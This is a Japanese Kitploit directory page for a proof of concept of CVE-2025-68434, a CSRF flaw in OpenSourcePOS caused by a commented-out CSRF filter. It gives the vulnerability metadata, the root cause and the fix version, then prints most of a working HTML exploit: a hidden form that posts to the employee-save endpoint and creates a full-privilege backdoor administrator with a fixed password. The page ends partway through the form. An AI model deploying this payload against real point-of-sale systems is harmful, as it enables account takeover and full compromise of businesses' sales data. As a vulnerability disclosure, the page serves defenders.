Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-68434-OSPOS-CSRF — CVE-2025-68434 の PoC と解説: OpenSourcePOS における重大なCSRF。無効化されたフィルター設定を悪用し、認証されていない攻撃者が静かに不正な管理者アカウントを作成し、システム全体を乗っ取ることを可能にします。バージョン 3.4.0 未満で検証済み。 | Kitploit
ツール/GitHubGitHub/nixon-h/cve-2025-68434-ospos-csrf
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubnixon-h/cve-2025-68434-ospos-csrf

CVE-2025-68434-OSPOS-CSRF

CVE-2025-68434 の PoC と解説: OpenSourcePOS における重大なCSRF。無効化されたフィルター設定を悪用し、認証されていない攻撃者が静かに不正な管理者アカウントを作成し、システム全体を乗っ取ることを可能にします。バージョン 3.4.0 未満で検証済み。

リポジトリを見る
31103ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-68434: OpenSourcePOS における CSRF による不正な管理者作成

メタデータ詳細
CVE IDCVE-2025-68434
重要度Critical (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
脆弱性の種類クロスサイトリクエストフォージェリ (CWE-352)
影響を受けるバージョンOpenSourcePOS v3.4.0, v3.4.1
修正済みバージョンv3.4.2
脆弱なコンポーネントapp/Config/Filters.php (グローバルセキュリティフィルター)
報告者Aditya Singh (Nixon-H)

📝 エグゼクティブサマリー

OpenSourcePOS の中核セキュリティ設定において、重大なクロスサイトリクエストフォージェリ (CSRF) の脆弱性が発見されました。アプリケーションのグローバル CSRF 保護メカニズムが、app/Config/Filters.php ファイル内で明示的に無効化されていました。これは、未解決のままであった一時的な開発用「TODO」が原因です。

この設定ミスにより、アプリケーションは有効なアンチフォージェリトークンを検証せずに状態変更を伴う HTTP リクエスト (POST) を受け入れるようになりました。未認証のリモート攻撃者は、ログイン済みの管理者を悪意のあるページに誘導することでこれを悪用できます。攻撃者のページは、被害者のブラウザに管理操作をサイレントに強制します。具体的には、完全な権限を持つ新しい「バックドア」管理者アカウントを作成し、システム全体の乗っ取りにつながります。


🕵️‍♂️ 技術的根本原因分析

脆弱な設定

脆弱性は グローバルフィルター 設定 (app/Config/Filters.php) にありました。CodeIgniter 4 では、$globals 配列がすべてのリクエストで実行されるフィルターを決定します。

影響を受けるバージョンでは、csrf フィルターが before 実行リスト内でコメントアウトされており、アプリケーション全体の CSRF 保護が実質的に無効化されていました。

脆弱なコード (app/Config/Filters.php):

public array $globals = [
    'before' => [
        'honeypot',
        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
        'invalidchars',
    ],
    // ...
];

この行がコメントアウトされていたため、csrf_token_name をチェックするミドルウェアは決して実行されませんでした。アプリケーションは、認証のためにセッションクッキー (ospos_session) のみに依存して、任意のオリジンからの POST リクエストを受け入れていました。


💥 概念実証 (PoC)

攻撃シナリオ

  1. 攻撃者: csrf_exploit.html ファイルを外部サーバーにホストします。
  2. 被害者: ログイン済みの OpenSourcePOS 管理者 (アクティブなセッション)。
  3. トリガー: 被害者は攻撃者のサイトへのリンクをクリックするよう誘導されます。
  4. 実行: 悪意のあるページが読み込まれ、ランダムな一意のユーザー名 (競合回避) を生成し、被害者のローカル OpenSourcePOS インスタンスに対して隠しフォームを自動送信します。
  5. 結果: 新しい管理者アカウント (例: valid_12345) が即座に作成されます。

エクスプロイトコード (POC/csrf_exploit.html)

これは、完全な権限を持つ不正な管理者を作成するために使用された正確なペイロードです:

<!DOCTYPE html>
<html>
<head>
    <title>OSPOS CSRF Exploit (Verified)</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .status { color: green; font-weight: bold; }
    </style>
</head>
<body>
    <h2>OSPOS Privilege Escalation Exploit</h2>
    <p>Creating Administrator account...</p>
    <p id="msg" class="status">Initializing payload...</p>

    <form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">

        <input type="hidden" name="first_name" value="Valid">
        <input type="hidden" name="last_name" value="User">
        <input type="hidden" name="username" id="username" value="">
        <input type="hidden" name="email" id="email" value="">
        
        <input type="hidden" name="phone_number" value=""> 
        <input type="hidden" name="password" value="Password123!">
        <input type="hidden" name="repeat_password" value="Password123!">
        <input type="hidden" name="gender" value="1">
        <input type="hidden" name="language" value=":">
        
        <input type="hidden" name="address_1" value="">
        <input type="hidden" name="address_2" value="">
        <input type="hidden" name="city" value="">
        <input type="hidden" name="state" value="">
        <input type="hidden" name="zip" value="">
        <input type="hidden" name="country" value="">
        <input type="hidden" name="comments" value="CSRF_PoC_Successful">

        <input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
        <input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
        <input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
        <input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
        <input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
        <input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
        <input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
        <input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
        <input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
        <input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
        <input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
        <input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
        <input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
        <input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
        <input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
        <input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
        <input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
        <input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
ツールをダウンロード